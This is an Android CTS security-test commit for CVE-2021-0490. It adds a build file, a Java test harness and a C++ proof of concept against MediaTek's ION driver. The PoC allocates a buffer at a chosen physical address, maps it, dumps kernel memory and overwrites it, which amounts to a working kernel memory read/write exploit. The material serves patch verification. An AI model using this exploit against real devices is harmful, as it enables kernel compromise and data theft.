STS test for Android Security CVE-2021-0490

Test: sts-tradefed run sts-engbuild-no-spl-lock -m CtsSecurityBulletinHostTestCases -t android.security.cts.CVE_2021_0490
Bug: 183518042
Bug: 183464868
Change-Id: If1f5ca75e1bb5197dd7def26ed288ff175f0e86b
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
new file mode 100644
index 0000000..2895e89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0490",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp",],
+    shared_libs: [
+        "libnfc-nci",
+        "liblog",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
new file mode 100644
index 0000000..793ad9c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
@@ -0,0 +1,387 @@
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <sys/uio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <err.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <log/log.h>
+
+#define FAIL_CHECK_ALOGE(condition, error_message) \
+  if (!(condition)) { \
+    ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
+            __LINE__); \
+    exit(EXIT_FAILURE); \
+  }
+
+typedef unsigned int u32;
+typedef unsigned long u64;
+
+#define ION_IOC_MAGIC       'I'
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+#ifndef _IOC_NONE
+# define _IOC_NONE  0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ  2U
+#endif
+
+#define _IOC(dir,type,nr,size) \
+    (((dir)  << _IOC_DIRSHIFT) | \
+     ((type) << _IOC_TYPESHIFT) | \
+     ((nr)   << _IOC_NRSHIFT) | \
+     ((size) << _IOC_SIZESHIFT))
+
+#ifndef __KERNEL__
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#endif
+
+/* used to create numbers */
+#define _IO(type,nr)        _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)  _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)  _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+/* Structure definitions */
+
+enum ION_CMDS {
+    ION_CMD_SYSTEM,
+    ION_CMD_MULTIMEDIA,
+    ION_CMD_MULTIMEDIA_SEC
+};
+
+struct ion_custom_data {
+    unsigned int cmd;
+    unsigned long arg;
+};
+
+struct ion_fd_data {
+    int handle;
+    int fd;
+};
+
+struct ion_allocation_data {
+    size_t len;
+    size_t align;
+    unsigned int heap_id_mask;
+    unsigned int flags;
+    int handle;
+};
+
+struct ion_handle_data {
+    int handle;
+};
+
+struct ion_heap_query {
+    __u32 cnt; /* Total number of heaps to be copied */
+    __u32 reserved0; /* align to 64bits */
+    __u64 heaps; /* buffer to be populated */
+    __u32 reserved1;
+    __u32 reserved2;
+};
+
+enum ION_CACHE_SYNC_TYPE {
+    ION_CACHE_CLEAN_BY_RANGE,
+    ION_CACHE_INVALID_BY_RANGE,
+    ION_CACHE_FLUSH_BY_RANGE,
+    ION_CACHE_CLEAN_BY_RANGE_USE_VA,
+    ION_CACHE_INVALID_BY_RANGE_USE_VA,
+    ION_CACHE_FLUSH_BY_RANGE_USE_VA,
+    ION_CACHE_CLEAN_ALL,
+    ION_CACHE_INVALID_ALL,
+    ION_CACHE_FLUSH_ALL
+};
+
+enum ION_SYS_CMDS {
+    ION_SYS_CACHE_SYNC,
+    ION_SYS_GET_PHYS,
+    ION_SYS_GET_CLIENT,
+    ION_SYS_SET_HANDLE_BACKTRACE,
+    ION_SYS_SET_CLIENT_NAME,
+    ION_SYS_DMA_OP,
+};
+
+struct ion_sys_cache_sync_param {
+    union {
+        int handle;
+        void *kernel_handle;
+    };
+    void *va;
+    unsigned int size;
+    enum ION_CACHE_SYNC_TYPE sync_type;
+};
+
+struct ion_sys_get_phys_param {
+    union {
+        int handle;
+        void *kernel_handle;
+    };
+    unsigned int phy_addr;
+    unsigned long len;
+};
+
+struct ion_sys_get_client_param {
+    unsigned int client;
+};
+
+#define ION_MM_DBG_NAME_LEN 48
+#define ION_MM_SF_BUF_INFO_LEN 16
+
+struct ion_sys_client_name {
+    char name[ION_MM_DBG_NAME_LEN];
+};
+
+#define BACKTRACE_SIZE 10
+
+struct ion_sys_record_param {
+    pid_t group_id;
+    pid_t pid;
+    unsigned int action;
+    unsigned int address_type;
+    unsigned int address;
+    unsigned int length;
+    unsigned int backtrace[BACKTRACE_SIZE];
+    unsigned int backtrace_num;
+    void *handle;
+    void *client;
+    void *buffer;
+    void *file;
+    int fd;
+};
+
+enum ION_DMA_TYPE {
+    ION_DMA_MAP_AREA,
+    ION_DMA_UNMAP_AREA,
+    ION_DMA_MAP_AREA_VA,
+    ION_DMA_UNMAP_AREA_VA,
+    ION_DMA_FLUSH_BY_RANGE,
+    ION_DMA_FLUSH_BY_RANGE_USE_VA,
+    ION_DMA_CACHE_FLUSH_ALL
+};
+
+enum ION_DMA_DIR {
+    ION_DMA_FROM_DEVICE,
+    ION_DMA_TO_DEVICE,
+    ION_DMA_BIDIRECTIONAL,
+};
+
+struct ion_dma_param {
+    union {
+        int handle;
+        void *kernel_handle;
+    };
+    void *va;
+    unsigned int size;
+    enum ION_DMA_TYPE dma_type;
+    enum ION_DMA_DIR dma_dir;
+};
+
+#define ION_IOC_CUSTOM      _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+#define ION_IOC_ALLOC       _IOWR(ION_IOC_MAGIC, 0, \
+                      struct ion_allocation_data)
+
+#define ION_IOC_MAP     _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+#define ION_IOC_SYNC        _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+#define ION_IOC_SHARE       _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+struct ion_sys_data {
+    enum ION_SYS_CMDS sys_cmd;
+    union {
+        struct ion_sys_cache_sync_param cache_sync_param;
+        struct ion_sys_get_phys_param get_phys_param;
+        struct ion_sys_get_client_param get_client_param;
+        struct ion_sys_client_name client_name_param;
+        struct ion_sys_record_param record_param;
+        struct ion_dma_param dma_param;
+    };
+};
+
+union ion_ioctl_arg {
+    struct ion_fd_data fd;
+    struct ion_allocation_data allocation;
+    struct ion_handle_data handle;
+    struct ion_custom_data custom;
+    struct ion_heap_query query;
+};
+
+enum mtk_ion_heap_type {
+    ION_HEAP_TYPE_MULTIMEDIA = 10,
+    ION_HEAP_TYPE_FB = 11,
+    ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
+    ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
+    ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
+    ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
+    ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
+    ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
+    ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
+/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
+};
+
+
+/*
+ * mappings of this buffer should be cached, ion will do cache maintenance
+ * when the buffer is mapped for dma
+ */
+#define ION_FLAG_CACHED 1
+
+/*
+ * mappings of this buffer will created at mmap time, if this is set
+ * caches must be managed manually
+ */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2
+
+
+/*
+struct ion_client {
+    struct rb_node node;
+    struct ion_device *dev;
+    struct rb_root handles;
+    struct idr idr;
+    struct mutex lock;
+    const char *name;
+    char *display_name;
+    int display_serial;
+    struct task_struct *task;
+    pid_t pid;
+    struct dentry *debug_root;
+    char dbg_name[ION_MM_DBG_NAME_LEN];
+};
+*/
+// "dev" offset inside ion_client
+#define ion_device_OFF 12
+
+/*
+
+struct ion_device {
+    struct miscdevice dev;
+    struct rb_root buffers;
+    struct mutex buffer_lock;
+    struct rw_semaphore lock;
+    struct plist_head heaps;
+    long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
+                  unsigned long arg);
+    struct rb_root clients;
+    struct dentry *debug_root;
+    struct dentry *heaps_debug_root;
+    struct dentry *clients_debug_root;
+};
+
+*/
+
+//"custom_ioctl" offset inside
+#define custom_ioctl_OFF 100
+
+int g_fd = -1;
+
+#define MMAP_SIZE 4096
+//#define PAGE_SIZE 4096
+
+int alloc_handle(int type, unsigned long kernel_obj_addr) {
+
+    union ion_ioctl_arg iia;
+    memset(&iia, 0, sizeof(iia));
+
+    iia.allocation.len = MMAP_SIZE;
+    iia.allocation.align = kernel_obj_addr;
+    iia.allocation.heap_id_mask = 1 << type;
+    iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;
+
+    FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
+    ALOGE("ION_IOC_ALLOC success");
+    return iia.allocation.handle;
+}
+
+int poc_write_kernel() {
+
+    g_fd = open("/dev/ion", 0x80000);
+    FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
+    ALOGE("[+] open /dev/ion");
+
+    int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);
+
+    FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);
+
+    union ion_ioctl_arg iia;
+    memset(&iia, 0, sizeof(iia));
+
+    iia.fd.handle = handle;
+
+    FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
+    ALOGE("ION_IOC_SHARE handle success");
+
+    int dma_fd = iia.fd.fd;
+
+    char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
+    FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);
+
+    ALOGE("re_buf addr:%p", re_buf);
+    ALOGE("re_buf[0]:%x", re_buf[0]);
+
+    int read_num = 0;
+    int counter = 0;
+    unsigned long *read_buf = (unsigned long *)re_buf;
+    for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
+        if (read_buf[read_num]) {
+            //reduce number of log messages
+            if(counter++ % 8 == 0){
+              ALOGE("read_buf[%d]:0x%lx", read_num, read_buf[read_num]);
+            }
+        }
+    }
+    ALOGE("read_num = %d", read_num);
+    ALOGE("non zero = %d", counter);
+
+    memset(re_buf, 0xbb, MMAP_SIZE);
+    munmap(re_buf, MMAP_SIZE);
+    close(dma_fd);
+    close(g_fd);
+
+    return 0;
+}
+
+int main() {
+    poc_write_kernel();
+    ALOGE("test end");
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
new file mode 100644
index 0000000..8f37185
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0490 extends SecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 183464868)
+    @Test
+    public void testPocCVE_2021_0490() throws Exception {
+        AdbUtils.runPocNoOutput("CVE-2021-0490", getDevice(), 60);
+    }
+}